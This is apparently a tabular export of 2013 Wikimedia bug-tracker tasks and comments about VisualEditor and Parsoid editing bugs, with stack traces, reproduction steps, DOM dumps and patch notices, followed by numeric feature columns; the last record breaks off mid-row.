+246771,VisualEditor: Doing anything in a slug after an internal node throws an error,This is caused by CE placing a slug after internal nodes.  Fix in progress.,,,1372112372,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+246768,VisualEditor: Doing anything in a slug after an internal node throws an error,"Stack error:
+
+Uncaught Error: Offset could not be translated to a DOM element and offset: 73 ve.ce.Document.js:187
+ve.ce.Document.getNodeAndOffset ve.ce.Document.js:187
+ve.ce.Surface.showSelection ve.ce.Surface.js:1289
+ve.ce.Surface.onChange ve.ce.Surface.js:739
+oo.EventEmitter.emit oo.js:421
+ve.dm.Surface.change ve.dm.Surface.js:402
+ve.dm.SurfaceFragment.insertContent ve.dm.SurfaceFragment.js:581
+ve.ui.MWReferenceDialog.onClose ve.ui.MWReferenceDialog.js:197
+ve.ui.Window.close ve.ui.Window.js:332
+(anonymous function) ve.ui.Dialog.js:118
+proxy",,,1372109556,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52128,VisualEditor: HTML comment not removed from user pasting (? from external source),"https://en.wikipedia.org/w/index.php?title=Richard_Ned_Lebow&diff=561410032&oldid=545013166
+
+Perhaps unrelated to VisualEditor?
+
+<!-- /* Font Definitions */@font-face	{font-family:""Courier New"";	panose-1:2 7 3 9 2 2 5 2 4 4;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536859905 -1073711037 9 0 511 0;}@font-face	{font-family:Times;	panose-1:2 0 5 0 0 0 0 0 0 0;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:3 0 0 0 1 0;}@font-face	{font-family:Wingdings;	panose-1:5 0 0 0 0 0 0 0 0 0;	mso-font-charset:2;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:0 268435456 0 0 -2147483648 0;}@font-face	{font-family:""ＭＳ 明朝"";	mso-font-charset:78;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536870145 1791491579 18 0 131231 0;}@font-face	{font-family:""Cambria Math"";	panose-1:2 4 5 3 5 4 6 3 2 4;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536870145 1107305727 0 0 415 0;} /* Style Definitions */p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-parent:"""";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}.MsoChpDefault	{mso-style-type:export-only;	mso-default-props:yes;	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}@page WordSection1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.WordSection1	{page:WordSection1;} /* List Definitions */@list l0	{mso-list-id:85738127;	mso-list-type:hybrid;	mso-list-template-ids:1894403420 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;}@list l0:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level2	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level3	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}@list l0:level4	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level5	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level6	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}@list l0:level7	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level8	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level9	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}ol	{margin-bottom:0in;}ul	{margin-bottom:0in;}-->
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372105380,1385505602.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-sdadbdxs63vkmq4vqjom,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1
+246470,VisualEditor: HTML comment not removed from user pasting (? from external source),"Change 86664 merged by jenkins-bot:
+Rich paste
+
+https://gerrit.wikimedia.org/r/86664",,,1385500071,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246463,VisualEditor: HTML comment not removed from user pasting (? from external source),Rich paste will strip all metadata and so should solve this issue.,,,1381157634,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,3,True,,,14,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+246459,VisualEditor: HTML comment not removed from user pasting (? from external source),"Change 86664 had a related patch set uploaded by Esanders:
+Rich paste
+
+https://gerrit.wikimedia.org/r/86664",,,1381157515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246452,VisualEditor: HTML comment not removed from user pasting (? from external source),"Bizarre indeed; presumably this is from a copy-and-paste and the ""give me only the plain text"" request to the browser is being ignored?",,,1372112566,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,0,0
+52127,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text","* Go here http://en.wikipedia.org/w/index.php?title=User:ESanders_(WMF)/Sandbox&oldid=561403721&veaction=edit
+* Select from the end of the image to inside the link
+* Observe you now have a link inspector positioned over the image.
+Bonus:
+* Use the inspector to edit the link
+* Review your changes, the image has been killed, and the link as gone a bit crazy
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372102800,1377195359.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-isqwpxpplzad6mrvzuhz,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+246409,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text",Fixed. Will go out in next push.,,,1377195359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+246403,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text","Change 79919 merged by jenkins-bot:
+getAnnotationsFromRange should only ignore non-content data
+
+https://gerrit.wikimedia.org/r/79919",,,1377195128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246398,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text",'Bonus' section has been filed here: https://bugzilla.wikimedia.org/show_bug.cgi?id=53151,,,1377090118,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0
+246392,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text","Change 79919 had a related patch set uploaded by Esanders:
+getAnnotationsFromRange should only ingnore non-content data
+
+https://gerrit.wikimedia.org/r/79919",,,1376944734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52123,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"Screenshot of the problem in the serialization
+
+I think this is caused by Parsoid trying to preserver/re-add whitespace when round-tripping.
+
+Steps to reproduce issue:
+* Create a page like the default MediaWiki main page:
+
+<<<MW
+'''MediaWiki has been successfully installed.'''
+
+Consult the [//meta.wikimedia.org/wiki/Help:Contents User's Guide] for information on using the wiki sandbox software. 12
+
+== Getting started ==
+* [//www.mediawiki.org/wiki/Manual:Configuration_settings Configuration settings list]
+* [//www.mediawiki.org/wiki/Manual:FAQ MediaWiki FAQ]
+* [https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]
+* [//www.mediawiki.org/wiki/Localisation#Translation_resources Localise MediaWiki for your language]
+MW;
+
+* Edit it with VisualEditor
+* Put the cursor before ""MediaWiki release mailing list"" and select back until before the first character of the heading ""Getting started"".
+* Press backspace. You're now left with 2 of 4 items in the list and an empty heading.
+* Again, out the cursor before ""MediaWiki release mailing list"" and delete until you're behind ""software. 12"". You're now left with ""MediaWiki release mailing list"" in the paragraph and a list with 1 item.
+* Save page -> Review changes (Screenshot attached)
+
+It inserts a lot of new lines.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11588}",High,80.0,1372101840,1372370405.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+246184,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,Please reopen if this an issue in Parsoid.,,,1372370405,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246176,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"There was a typo.  It should read:  "".... where there are *NONE* ....""",,,1372111668,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0
+246170,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"This seems to be a bug in the diff interface in mediawiki.  There are no extra newlines in the wikitext source as indicated by the diff.  The diff incorrectly signals newlines where there are now.
+
+Steps to reproduce:
+
+* Do everything as Krinkle says
+* Actually save the page.
+* Look at the new wikitext source and look at what the diff tells you.
+
+I am leaving this bug open so others can verify independently.",,,1372111612,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+246164,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"(In reply to comment #2)
+> Krinkle: Could you provide a dump of VE's input and output DOM?
+
+Given the steps to reproduce the bug from comment 0, I get the following:
+
+> doc = ve.instances[0].model.documentModel;
+> d = ve.createDocumentFromHtml( ve.init.mw.targets[0].originalHtml );
+> d2 = ve.dm.converter.getDomFromData( doc.getFullData(), doc.getStore(), doc.getInternalList() );
+> copy( d.body.innerHTML );
+
+<p data-parsoid=""{&quot;dsr&quot;:[0,48,0,0]}""><b data-parsoid=""{&quot;dsr&quot;:[0,48,3,3]}"">MediaWiki has been successfully installed.</b></p>
+
+<p data-parsoid=""{&quot;dsr&quot;:[50,171,0,0]}"">Consult the <a rel=""mw:ExtLink"" href=""//meta.wikimedia.org/wiki/Help:Contents"" data-parsoid=""{&quot;targetOff&quot;:103,&quot;dsr&quot;:[62,116,41,1]}"">User's Guide</a> for information on using the wiki sandbox software. 12</p>
+
+<h2 data-parsoid=""{&quot;dsr&quot;:[173,194,2,2]}""> Getting started </h2>
+<ul data-parsoid=""{&quot;dsr&quot;:[195,535,0,0]}""><li data-parsoid=""{&quot;dsr&quot;:[195,281,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Manual:Configuration_settings"" data-parsoid=""{&quot;targetOff&quot;:253,&quot;dsr&quot;:[197,281,56,1]}"">Configuration settings list</a></li>
+<li data-parsoid=""{&quot;dsr&quot;:[282,335,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Manual:FAQ"" data-parsoid=""{&quot;targetOff&quot;:321,&quot;dsr&quot;:[284,335,37,1]}"">MediaWiki FAQ</a></li>
+<li data-parsoid=""{&quot;dsr&quot;:[336,434,1,0]}""> <a rel=""mw:ExtLink"" href=""https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce"" data-parsoid=""{&quot;targetOff&quot;:403,&quot;dsr&quot;:[338,434,65,1]}"">MediaWiki release mailing list</a></li>
+<li data-parsoid=""{&quot;dsr&quot;:[435,535,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Localisation#Translation_resources"" data-parsoid=""{&quot;targetOff&quot;:498,&quot;dsr&quot;:[437,535,61,1]}"">Localise MediaWiki for your language</a></li></ul>
+
+> copy( d2.body.innerHTML );
+
+<p data-parsoid=""{&quot;dsr&quot;:[0,48,0,0]}""><b data-parsoid=""{&quot;dsr&quot;:[0,48,3,3]}"">MediaWiki has been successfully installed.</b></p>
+
+<p data-parsoid=""{&quot;dsr&quot;:[50,171,0,0]}"">Consult the <a href=""//meta.wikimedia.org/wiki/Help:Contents"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:103,&quot;dsr&quot;:[62,116,41,1]}"">User's Guide</a> for information on using the wiki sandbox software. 12<a href=""https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:403,&quot;dsr&quot;:[338,434,65,1]}"">MediaWiki release mailing list</a></p><ul data-parsoid=""{&quot;dsr&quot;:[195,535,0,0]}""><li data-parsoid=""{&quot;dsr&quot;:[435,535,1,0]}""> <a href=""//www.mediawiki.org/wiki/Localisation#Translation_resources"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:498,&quot;dsr&quot;:[437,535,61,1]}"">Localise MediaWiki for your language</a></li></ul>",,,1372108572,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+246156,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,Krinkle: Could you provide a dump of VE's input and output DOM?,,,1372104921,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+246151,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"Subbu, could this be caused by e90e40c26cd8?",,,1372103979,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+52118,VisualEditor: First character after a </pre> is lost on round-trip,"I edited a large page on meta (1.22wmf7) in VE. All seemed fine but review showed VE had removed the first character following several closing </pre> tags. It also removed a few characters within a <source> tag.
+
+Here's the diff showing the removal, it's self-explanatory.  <https://www.mediawiki.org/w/index.php?title=Extension%3AEventLogging%2FGuide&diff=716359&oldid=704840>.  I will restore the characters by hand.
+I'm using Firefox 21.0 on Kubuntu 13.04.
+
+I tried editing the same document again and this time VE removed more characters from the source tag, added a space after a <pre>. Hmm. I'm setting to critical as it's recoverable data loss, but maybe it's intermittent.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1372098360,1372355490.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-ay5qiidktmoux2bli72a,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+245717,VisualEditor: First character after a </pre> is lost on round-trip,"Here is another example:
+https://www.mediawiki.org/w/index.php?title=Gerrit/Tutorial&diff=717045",,,1372510492,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245712,VisualEditor: First character after a </pre> is lost on round-trip,"(In reply to comment #2)
+> Can't reproduce in master.
+
+Neither can I, in production or master. I'm going to close this as fixed, but please re-open if it recurs.",,,1372355490,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+245704,VisualEditor: First character after a </pre> is lost on round-trip,"Can't reproduce in master.
+
+An issue I am seeing is code inside <source> and <syntaxhighligh> blocks are losing their linebreaks. Might want to file a bug if we aren't aware of that.
+
+Editing inside source is now bug 50224",,,1372250776,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+245697,VisualEditor: First character after a </pre> is lost on round-trip,"Making this primarily about the first character after a </pre> getting lost on round-trip; I'm not sure how you were able to edit inside a <source> tag, though, so that needs exploring too if it recurs.",,,1372113996,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+52105,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"From http://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Problem_with_using_shift%2B
+
+""Hi. I have been using the visual editor for a while on ar Wikipedia, it is very nice and smooth for fast edits. However, I am facing a very strange problem when I need to add some Arabic diacritics known as tashkil; when I press shift+diacritic button (like x, e, or z) the letter I pressed starts to repeat itself endlessly, and it can only be stopped by refreshing the page and wasting the work I have did. Any thoughts?""
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
